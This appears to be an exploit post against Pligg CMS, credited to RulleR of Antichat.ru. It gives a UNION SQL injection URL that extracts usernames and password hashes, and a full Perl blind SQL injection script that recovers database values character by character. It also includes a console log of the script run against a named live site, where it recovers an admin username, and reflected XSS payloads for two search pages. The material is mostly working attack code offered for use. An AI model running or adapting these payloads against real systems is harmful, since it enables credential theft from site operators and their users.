http://[host]/[path]/search.php?search=paxek&slink=1&scategory=1)+union+select+(select+concat(0x3c62723e,user_login,0x3a,user_pass,0x3c62723e)+from+[prefix]users+where+user_id=1),null,null--+&adv=1

http://[host]/[path]/search.php?search=[search_keywords]&slink=1&scategory=1[inj]&adv=1

#!/usr/bin/perl

use LWP;
use Fcntl;

$title = "
[*]=====================================[*]
!                                         !
!  Pligg CMS Blind SQL Injection Exploit  !
!                                         !
!            Found && coded by RulleR     !
!                         Antichat.ru     !
!                                         !
[*]=====================================[*]
";
print $title;
print "\n[+] Enter Host: ";
chop ($host = <>);
print "\n[+] Enter Search Keywords: ";
chop ($searchkey = <>);
print "\n[+] Enter \"scategory\": ";
chop ($scat = <>);
print "\n[>] Exploiting started... $host\n\n";
print "    Please wait...\n\n";

#________________ CONFIG _______________

$regexp = '<a href=.*>'.$searchkey;
$length = 100;
$column = 'user_login';#concat_ws(0x3a,user_login,user_pass)
$prefix = 'pligg_';
$table = 'users';
$user_id = 1;
$filename = 'Pligg_exp_result.txt';
#_______________________________________

XEK: for ($start = 1; $start <= $length; $start++) {
         $min = 0;$max = 255;
         while(1) {		     
	         $x = int(($max - $min)/2 + $min);
			 if (&WebGet($host,$start,$x) =~ /$regexp/) {
			     $min = $x;
			 }
			 else {
				 $max = $x;
			 }
			 last XEK if ($max == 1);
			 if ($max - $min == 1) {
			     $char = chr($max);			     
			     push (@res, $char);
			     print @res,"\n";last;				 
			 }
			 
		 }
	 }

print "\n[!] Exploiting finished :)\n\n";
print "---------------------- [Result] ----------------------\n";
print @res,"\n";
print "------------------------------------------------------\n";

sysopen (RESULT, $filename, O_WRONLY | O_CREAT);
print RESULT $title;
print RESULT "\n---------------------- [Result] ----------------------\n";
print RESULT @res; 
print RESULT "\n------------------------------------------------------\n";
close (RESULT);
print "\nResult saving in $filename\n";

sub WebGet() {
	 $inj = '/search.php?search='.$searchkey.'&slink=1&scategory='.$scat.'+and+ord(substr((select+'.$column.'+from+'.$prefix.$table.'+where+user_id='.$user_id.'),'.$_[1].',1))>'.$_[2].'&adv=1';	 
	 $request = HTTP::Request->new(GET => $_[0].$inj);
	 $u_a = LWP::UserAgent->new();
	 $u_a->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
	 $u_a->timeout(10);
	 $response = $u_a->request($request);
	 if ($response->is_error) {
	     print " ! Error: ".$response->status_line.".\n"; die " :(\n";
	 }
     return $response->content;
}

D:\\$_W3b-x3q\cms_all>pligg_exp.pl
[*]=====================================[*]
!                                         !
!  Pligg CMS Blind SQL Injection Exploit  !
!                                         !
!            Found && coded by RulleR     !
!                                         !
[*]=====================================[*]

[+] Enter Host: http://doanhnhanso.com/news

[+] Enter Search Keywords: Online

[+] Enter "scategory": 6

[>] Exploiting started... http://doanhnhanso.com/news

    Please wait...

d
do
doa
doan
doanh
doanhn
doanhnh
doanhnha
doanhnhan
doanhnhans
doanhnhanso

[!] Exploiting finished :)

---------------------- [Result] ----------------------
doanhnhanso
------------------------------------------------------

Result saving in Pligg_exp_result.txt

http://[host]/[path]/search.php?search=</title><script>alert(1)</script>

http://[host]/[path]/search.php?"><script>alert(1)</script>
------------------------------------------------------------
Need: register_globals = ON
http://[host]/[path]/advancedsearch.php?category_option=<script>alert(1)</script>